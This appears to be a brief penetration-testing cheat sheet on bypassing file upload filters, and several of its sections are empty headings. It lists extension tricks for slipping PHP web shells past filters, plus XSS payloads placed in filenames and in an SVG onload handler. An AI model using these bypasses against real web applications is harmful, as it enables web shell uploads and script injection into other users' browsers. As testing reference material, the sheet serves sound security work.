Table of Contents

File Upload Testing

File uploads are often filtered on extension, content-type, magic bytes, or image dimensions. Test each layer separately.

Extension Tricks

shell.php/.jpg          # server may strip after slash
shell.html%0d%0a.jpg    # newline truncation
.txt, .svg, .xml        # often forgotten in filters
shell.php5, shell.phtml # alternate PHP extensions

Content-Type Manipulation

XSS in Filenames

58832_300x300.jpg<svg onload=confirm()>
"><img src=x onerror=alert(1)>.jpg

What to Check

SVG XSS

SVG files are XML and support JavaScript event handlers:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <rect width="100" height="100"/>
</svg>

Escalation

See Also